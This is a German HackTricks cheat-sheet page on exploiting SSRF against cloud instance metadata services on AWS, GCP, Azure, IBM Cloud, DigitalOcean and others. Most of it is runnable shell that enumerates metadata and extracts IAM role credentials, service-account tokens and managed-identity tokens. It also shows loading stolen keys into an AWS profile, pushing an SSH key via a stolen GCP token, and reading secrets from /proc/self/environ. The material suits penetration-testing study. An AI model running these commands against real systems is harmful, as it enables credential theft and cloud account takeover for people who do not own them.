Cloud SSRF

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

AWS

Ausnutzen von SSRF in einer AWS EC2-Umgebung

Der Metadaten-Endpunkt kann von innerhalb jeder EC2-Instanz erreicht werden und liefert interessante Informationen darüber. Er ist unter der URL http://169.254.169.254 erreichbar (information about the metadata here).

Es gibt 2 Versionen des Metadaten-Endpunkts. Die erste erlaubt den Zugriff auf den Endpunkt via GET-Requests (daher kann er von jeder SSRF ausgenutzt werden). Für Version 2, IMDSv2, müssen Sie ein token anfordern, indem Sie eine PUT-Anfrage mit einem HTTP header senden und dann dieses token mit einem anderen HTTP header verwenden, um auf die Metadaten zuzugreifen (daher ist es mit einer SSRF schwieriger zu missbrauchen).

Caution

Beachten Sie, dass wenn die EC2-Instanz IMDSv2 durchsetzt, according to the docs, die Antwort der PUT-Anfrage ein Hop-Limit von 1 haben wird, wodurch es unmöglich wird, auf die EC2-Metadaten aus einem Container innerhalb der EC2-Instanz zuzugreifen.

Außerdem wird IMDSv2 auch Anfragen blockieren, die versuchen, ein Token abzurufen und den X-Forwarded-For Header enthalten. Dies soll verhindern, dass fehlkonfigurierte Reverse Proxies darauf zugreifen können.

Sie finden Informationen zu den metadata endpoints in the docs. Im folgenden Script werden einige interessante Informationen daraus gewonnen:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Als Beispiel für öffentlich zugängliche IAM credentials können Sie besuchen: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Sie können auch öffentliche EC2 security credentials einsehen unter: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Sie können diese credentials dann übernehmen und mit der AWS CLI verwenden. Dadurch können Sie alles ausführen, wozu die role Berechtigungen hat.

Um die neuen credentials zu nutzen, müssen Sie ein neues AWS profile wie dieses anlegen:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Beachte den aws_session_token; dieser ist unerlässlich, damit das Profil funktioniert.

PACU kann mit den entdeckten credentials verwendet werden, um deine privileges zu ermitteln und zu versuchen, Privilegien zu eskalieren.

SSRF in AWS ECS (Container Service) credentials

ECS ist eine logische Gruppe von EC2-Instanzen, auf denen du eine Anwendung betreiben kannst, ohne deine eigene Cluster-Management-Infrastruktur skalieren zu müssen, da ECS das für dich übernimmt. Wenn es dir gelingt, einen Service in ECS zu kompromittieren, ändern sich die metadata endpoints.

Wenn du http://169.254.170.2/v2/credentials/<GUID> aufrufst, findest du die credentials der ECS-Maschine. Aber zuerst musst du das <GUID> finden. Um das <GUID> zu finden, musst du die environ-Variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI innerhalb der Maschine auslesen.
Du könntest in der Lage sein, sie über einen Path Traversal zu file:///proc/self/environ zu lesen.
Die genannte http-Adresse sollte dir AccessKey, SecretKey and token liefern.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

Beachte, dass du in einigen Fällen auf die EC2 metadata instance vom container aus zugreifen kannst (prüfe die zuvor genannten IMDSv2 TTL limitations). In diesen Szenarien könntest du vom container sowohl die container IAM role als auch die EC2 IAM role erreichen.

SSRF für AWS Lambda

In diesem Fall sind die credentials in env variables gespeichert. Um auf sie zuzugreifen, musst du also etwas wie file:///proc/self/environ auslesen.

Die Namen der interessanten env variables sind:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

Außerdem haben Lambda functions zusätzlich zu den IAM credentials event data, die an die Funktion übergeben wird, wenn sie gestartet wird. Diese Daten werden der Funktion über die runtime interface zur Verfügung gestellt und können sensible Informationen enthalten (z. B. in den stageVariables). Im Gegensatz zu IAM credentials sind diese Daten über ein normales SSRF unter http://localhost:9001/2018-06-01/runtime/invocation/next zugänglich.

Warning

Beachte, dass lambda credentials in den env variables liegen. Wenn der stack trace des Lambda-Codes env vars ausgibt, ist es möglich, sie zu exfiltrate indem ein Fehler in der App provoziert wird.

SSRF URL für AWS Elastic Beanstalk

Wir holen die accountId und region aus der API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Anschließend rufen wir die AccessKeyId, SecretAccessKey und Token von der API ab.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Dann verwenden wir die credentials mit aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Du kannst hier die Dokumentation zu Metadata-Endpunkten finden.

SSRF-URL für Google Cloud

Erfordert den HTTP-Header Metadata-Flavor: Google und du kannst auf den Metadata-Endpunkt mit den folgenden URLs zugreifen:

Interessante Endpunkte, um Informationen zu extrahieren:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta benötigt derzeit KEINEN Header (danke Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

Um das exfiltrated service account token zu verwenden, können Sie einfach Folgendes tun:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

SSH-Schlüssel hinzufügen

Token extrahieren

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Prüfe den scope des token (mit der vorherigen Ausgabe oder indem du Folgendes ausführst)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Jetzt den SSH-Key pushen.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Der metadata endpoint funktioniert genauso wie bei VMs, jedoch ohne einige endpoints:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

Warning

Es gibt nichts Vergleichbares zu AWS Roles oder GCP service account, erwarte also nicht, metadata-Bot-Zugangsdaten zu finden

Dokumentation verfügbar unter https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

  • Muss den Header Metadata: true enthalten
  • Darf nicht den Header X-Forwarded-For enthalten

Tip

Eine Azure VM kann eine system assigned managed identity und mehrere user assigned managed identities angehängt haben. Das bedeutet im Grunde, dass du alle an die VM angehängten managed identities impersonifizieren kannst.

Beim Anfordern eines Access-Tokens am metadata endpoint verwendet der metadata service standardmäßig die system assigned managed identity, um das Token zu erzeugen, falls eine system assigned managed identity vorhanden ist. Falls es genau EINE user assigned managed identity gibt, wird diese standardmäßig verwendet. Gibt es jedoch keine system assigned managed identity und mehrere user assigned managed identities, dann gibt der metadata service einen Fehler zurück, der anzeigt, dass mehrere managed identities vorhanden sind und es notwendig ist, anzugeben, welche verwendet werden soll.

Leider konnte ich keinen Metadata-Endpoint finden, der alle MIs auflistet, die einer VM angehängt sind, daher kann es aus Red-Team-Perspektive schwierig sein, alle zugewiesenen managed identities einer VM herauszufinden.

Daher kannst du, um alle angehängten MIs zu finden, folgendes tun:

  • Hole angehängte Identities mit az cli (falls du bereits einen Principal im Azure-Tenant kompromittiert hast mit der Berechtigung Microsoft.Compute/virtualMachines/read)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • Hole angehängte identities unter Verwendung des standardmäßig angehängten MI in den metadata:
export API_VERSION="2021-12-13"

# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • Hole alle definierten managed identities im Tenant und brute force prüfe, ob eine davon an die VM angehängt ist (die Berechtigung Microsoft.ManagedIdentity/userAssignedIdentities/read wird benötigt):
az identity list

[!CAUTION] Verwende in den Token-Anfragen einen der Parameter object_id, client_id oder msi_res_id, um die managed identity anzugeben, die du verwenden möchtest (docs). Wenn keiner angegeben ist, wird die default MI verwendet.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Warning

Beachte, dass der Endpoint http://169.254.169.254/metadata/v1/instanceinfo kein Metadata: True Header benötigt — das ist hervorragend, um die Auswirkungen von SSRF-Schwachstellen in Azure zu zeigen, bei denen du diesen Header nicht hinzufügen kannst.

Azure App & Functions Services & Automation Accounts

Aus dem env kannst du die Werte von IDENTITY_HEADER und IDENTITY_ENDPOINT bekommen. Damit kannst du ein Token abrufen, um mit dem Metadata-Server zu kommunizieren.

Meistens möchtest du ein Token für eine dieser Ressourcen:

Caution

Verwende in den Token-Anfragen einen der Parameter object_id, client_id oder msi_res_id, um die managed identity anzugeben, die du verwenden möchtest (docs). Falls keiner angegeben ist, wird die default MI verwendet.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

Warning

Beachte, dass bei IBM Cloud standardmäßig Metadaten nicht aktiviert sind, sodass du möglicherweise nicht darauf zugreifen kannst, selbst wenn du dich in einer IBM Cloud VM befindest

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Die Dokumentation der Metadaten-Services verschiedener Plattformen ist unten aufgeführt. Sie hebt die Methoden hervor, über die Konfigurations- und Laufzeitinformationen von Instanzen abgerufen werden können. Jede Plattform bietet eigene Endpunkte zum Zugriff auf ihre Metadaten.

Packetcloud

Zur Abfrage der Packetcloud-Metadaten finden Sie die Dokumentation unter: [https://metadata.packet.net/userdata]

OpenStack/RackSpace

Die Notwendigkeit eines Headers wird nicht erwähnt. Metadaten können über Folgendes abgerufen werden:

  • http://169.254.169.254/openstack

HP Helion

Die Notwendigkeit eines Headers wird hier ebenfalls nicht erwähnt. Metadaten sind zugänglich unter:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud stellt mehrere Endpunkte zum Zugriff auf unterschiedliche Metadatenbereiche bereit:

  • http://192.0.0.192/latest/
  • http://192.0.0.192/latest/user-data/
  • http://192.0.0.192/latest/meta-data/
  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba bietet Endpunkte zum Zugriff auf Metadaten, einschließlich instance- und image-IDs:

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD kann API-Keys, interne IP-Adressen und Ports enthalten. Der Zugriff wird demonstriert durch:

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker-Metadaten können lokal abgefragt werden; Beispiele für die Abfrage von Container- und Image-Informationen:

  • Ein einfaches Beispiel, um Container- und Image-Metadaten über den Docker-Socket abzurufen:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • Innerhalb des Containers curl mit dem Docker-Socket verwenden:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher-Metadaten können folgendermaßen abgefragt werden:

  • curl http://rancher-metadata/<version>/<path>

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks